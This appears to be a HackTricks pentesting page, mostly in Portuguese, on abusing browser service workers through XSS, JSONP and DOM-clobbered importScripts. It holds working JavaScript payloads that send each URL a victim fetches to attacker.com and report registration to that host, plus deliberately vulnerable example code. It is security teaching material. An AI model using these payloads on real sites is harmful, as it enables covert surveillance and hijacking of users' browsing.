Abusing Service Workers

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Um service worker é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de processamento offline e em segundo plano. Informações detalhadas sobre service workers podem ser encontradas aqui. Ao explorar service workers dentro de um domínio web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.

Checking for Existing Service Workers

Os service workers existentes podem ser verificados na seção Service Workers da aba Application nas Developer Tools. Outro método é visitar chrome://serviceworker-internals para uma visão mais detalhada.

Push Notifications

As permissões de notificação push impactam diretamente a capacidade de um service worker de se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.

Attack Creating a Service Worker

Para explorar essa vulnerabilidade, você precisa encontrar:

Uma maneira de carregar arquivos JS arbitrários no servidor e um XSS para carregar o service worker do arquivo JS carregado
Um pedido JSONP vulnerável onde você pode manipular a saída (com código JS arbitrário) e um XSS para carregar o JSONP com um payload que irá carregar um service worker malicioso.

No exemplo a seguir, vou apresentar um código para registrar um novo service worker que irá escutar o evento fetch e enviar para o servidor dos atacantes cada URL buscada (este é o código que você precisaria carregar no servidor ou carregar via uma resposta JSONP vulnerável):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

E este é o código que irá registrar o trabalhador (o código que você deve ser capaz de executar abusando de um XSS). Neste caso, uma solicitação GET será enviada para o servidor dos atacantes notificando se o registro do trabalhador de serviço foi bem-sucedido ou não:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

No caso de abusar de um endpoint JSONP vulnerável, você deve colocar o valor dentro de var sw. Por exemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Há um C2 dedicado à exploração de Service Workers chamado Shadow Workers que será muito útil para abusar dessas vulnerabilidades.

A diretiva de cache de 24 horas limita a vida de um service worker (SW) malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade XSS, assumindo o status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script SW. Os desenvolvedores também são aconselhados a criar um kill-switch para service worker para desativação rápida.

Abusando de `importScripts` em um SW via DOM Clobbering

A função importScripts chamada de um Service Worker pode importar um script de um domínio diferente. Se essa função for chamada usando um parâmetro que um atacante poderia modificar, ele seria capaz de importar um script JS de seu domínio e obter XSS.

Isso até contorna as proteções CSP.

Exemplo de código vulnerável:

index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>

sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Com DOM Clobbering

Para mais informações sobre o que é DOM Clobbering, confira:

Dom Clobbering

Se a URL/domínio que o SW está usando para chamar importScripts estiver dentro de um elemento HTML, é possível modificá-lo via DOM Clobbering para fazer o SW carregar um script do seu próprio domínio.

Para um exemplo disso, confira o link de referência.